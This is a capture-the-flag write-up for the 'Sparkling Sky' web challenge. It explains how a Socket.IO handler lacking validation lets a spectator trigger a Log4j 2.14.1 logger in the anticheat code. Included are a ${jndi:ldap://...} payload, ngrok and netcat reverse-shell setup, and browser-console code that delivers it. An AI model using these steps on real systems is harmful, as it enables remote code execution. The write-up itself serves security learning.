🌐 Sparkling Sky
A detailed write-up of the Web challenge 'Sparkling Sky' from SrdnlenCTF - 2025
📊 Challenge Overview
Category Details Additional Info 🏆 Event SrdnlenCTF - 2025 Event Link 🔰 Category Web 🌐 💎 Points 500 Out of XXXX total ⭐ Difficulty 🟡 Medium Personal Rating: 5/10 👤 Author sanmatte Profile 🎮 Solves (At the time of flag submission) 49 XX% solve rate 📅 Date 19-01-2025 SrdnlenCTF - 2025 Day X 🦾 Solved By devgianlu Team: Team Aetruria
📝 Challenge Information
I am developing a game with websockets in python. I left my pc to a java fan, I think he really messed up. It is forbidden to perform or attempt to perform any action against the infrastructure or the challenge itself.
- username: user1337
- password: user1337
🎯 Challenge Files & Infrastructure
Provided Files
Files:
🔍 Initial Analysis
First Steps
Initially, the website appears as follows:
By entering the login credentials specified in the challenge description, we are redirected to this page:
From here, every time I clicked on play, nothing happened; only the access number in the queue changed. For this reason, I decided to read the attached files, and the first thing that caught my eye was the
log4j.properties
file. From there, I realized it was using Log4j, so I went to check the installed version in theDockerfile
:
1 2 3 4 5 6
RUN cd $(python -c "import os, pyspark; print(os.path.dirname(pyspark.__file__))")/jars && \ rm log4j* && \ wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar && \ wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-api/2.14.1/log4j-api-2.14.1.jar && \ wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-slf4j-impl/2.14.1/log4j-slf4j-impl-2.14.1.jar && \ wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-1.2-api/2.14.1/log4j-1.2-api-2.14.1.jar
As we can see, the version is
2.14.1
. Searching online, this version is vulnerable toCVE-2021-44228
. Now we just need to figure out how to send the payload to exploit it. Continuing to read, I noticed in theanticheat.py
file the use ofspark
andlog4j
, so I understood that the game’s anticheat system needed to be triggered in some way to exploit the vulnerability:
1 2 3 4 5 6 7 8 9 10 11
log4j_config_path = "log4j.properties" spark = SparkSession.builder \ .appName("Anticheat") \ .config("spark.driver.extraJavaOptions", "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dlog4j.configuration=file:" + log4j_config_path) \ .config("spark.executor.extraJavaOptions", "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dlog4j.configuration=file:" + log4j_config_path) \ .getOrCreate() logger = spark._jvm.org.apache.log4j.LogManager.getLogger("Anticheat")
Continuing to read the files, I noticed that the browser and server also communicate via Socket.IO. However, if we examine the
socket.py
file, we see that there is no input validation. Even though our account is just a spectator, we can call any function. Thehandle_bird_movement
function, although it uses the user ID, does not take it from cookies. It retrieves it from user-controlled input, so we can provide any ID we want, whether it belongs to a player or a spectator:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
def init_socket_events(socketio, players): @socketio.on('connect') @login_required def handle_connect(): user_id = int(current_user.get_id()) log_action(user_id, "is connecting") if user_id in players.keys(): # Player already exists, send their current position emit('connected', {'user_id': user_id, 'x': players[user_id]['x'], 'y': players[user_id]['y'], 'angle': players[user_id]['angle']}) else: # TODO: Check if the lobby is full and add the player to the queue log_action(user_id, f"is spectating") emit('update_bird_positions', players, broadcast=True) @socketio.on('move_bird') @login_required def handle_bird_movement(data): user_id = data.get('user_id') if user_id in players: del data['user_id'] if players[user_id] != data: with lock: players[user_id] = { 'x': data['x'], 'y': data['y'], 'color': 'black', 'angle': data.get('angle', 0) } if analyze_movement(user_id, data['x'], data['y'], data.get('angle', 0)): log_action(user_id, f"was cheating with final position ({data['x']}, {data['y']}) and final angle: {data['angle']}") # del players[user_id] # Remove the player from the game - we are in beta so idc emit('update_bird_positions', players, broadcast=True) @socketio.on('disconnect') @login_required def handle_disconnect(data): user_id = current_user.get_id() if user_id in players: del players[user_id] emit('update_bird_positions', players, broadcast=True)
To trigger the anticheat, we still need to bypass the
analyze_movement
function. This function calculates whether our speed exceeds a certain threshold (the speed is calculated using other data like coordinates and timestamps). If it detects suspicious movement, it will log the attempt (inserting our payload into the logs). It also interpolates theangle
property, which is never used inanalyze_movement
, so we can set it to whatever we want. Let’s proceed with the exploit.
🔬 Vulnerability Analysis
Potential Vulnerabilities
- Log4Shell
🎯 Solution Path
Exploitation Steps
Initial setup
The exploit essentially relies on sending a string like
jndi:ldap://<ip>:1389/a
to the server to have it written in the Log4j logs. Once this is done, we will receive a connection on our previously started server, obtaining a reverse shell.
Exploitation
First, I set up the port forwarding, as the
poc.py
file that exploits the vulnerability requires 3 port forwardings:
1 2 3
ngrok tcp 1389 ngrok http 8080 ngrok tcp 9001
The first port is where the
LDAP
server will be hosted, the second is for theweb server
where the string we send will retrieve thejava
exploit created by thepoc.py
file, and finally, the last port is used to receive thereverse shell
onnetcat
. So, we also open anetcat
session:
1
nc -lvnp 9001
And then, I start the exploit:
1
python poc.py --userip ngrok_link --webport 8080 --lport 9001
Once that is done, all that’s left is to send the string to the server to insert it into the logs. This can be done by writing a Python script with a socket connection to the server:
1
python exploit.py
Of course, in the exploit, every time it is run, the new
ldap
forwarding link created withngrok
must be set. This allowed me to obtain a reverse shell, and by runningcat flag.txt
, I was able to retrieve the flag.
🛠️ Exploitation Process
Approach
I used the following exploit. I installed
openjdk-11-jdk
(which is also used in the challenge), then inpoc.py
I replaced all the relative paths to the JDK with the names of the binaries, which are now in thePATH
. I ranpython3 poc.py --userip <ip> --webport 8080 --lport 9001
, which starts the LDAP server on port 1389 and the HTTP server on port 8080. Then, in another terminal, I started a netcat listener on port 9001 (nc -lvnp 9001
). I performed the port forwarding for the 3 ports and ranexploit.py
. Another way to do this was directly via the DevTools, as we have direct access to thesocket
variable in DevTools. We can interact directly with the socket. To activate the anticheat, we can send two movements with a short interval, using very different coordinates:
1 2 3 4
socket.emit("move_bird", {"user_id": 1, "x": 0, "y": 0, "angle": "${jndi:ldap://<ip\>:1389/a}"}); setTimeout(() => { socket.emit("move_bird", {"user_id": 1, "x": 142142352425524, "y": 4322525524, "angle": "${jndi:ldap://<ip\>:1389/a}"}) }, 2000);
🚩 Flag Capture
Flag
🔧 Tools Used
Tool Purpose Python Exploit Ngrok Port Forwarding
📈 Technical Deep Dive
Vulnerability Details
- Type: RCE (CVE-2021-44228)
- CVSS Score: 10
Mitigation Strategies
Update to the last version of log4j.
💡 Key Learnings
New Knowledge
I learned how to exploit the Log4j vulnerability through the PoC.
Skills Improved
- Binary Exploitation
- Reverse Engineering
- Web Exploitation
- Cryptography
- Forensics
- OSINT
- Miscellaneous
📚 References & Resources
Official Documentation
Learning Resources
- https://sysdig.com/blog/exploit-detect-mitigate-log4j-cve/
- https://systemoverlord.com/2022/06/20/bsidessf-2022-ctf-login4shell.html
- https://snyk.io/blog/fetch-the-flag-ctf-2022-writeup-logster/
- https://www.youtube.com/watch?v=P8uOcQIE4Uk&ab_channel=2bitSec
- https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/
📊 Final Statistics
Metric | Value | Notes |
---|---|---|
Time to Solve | 00:44 | From start to flag |
Global Ranking (At the time of flag submission) | 26/1577 | Challenge ranking |
Points Earned | 500 | Team contribution |
Created: 19-01-2025 • Last Modified: 19-01-2025 Author: mH4ck3r0n3 • Team: Team Aetruria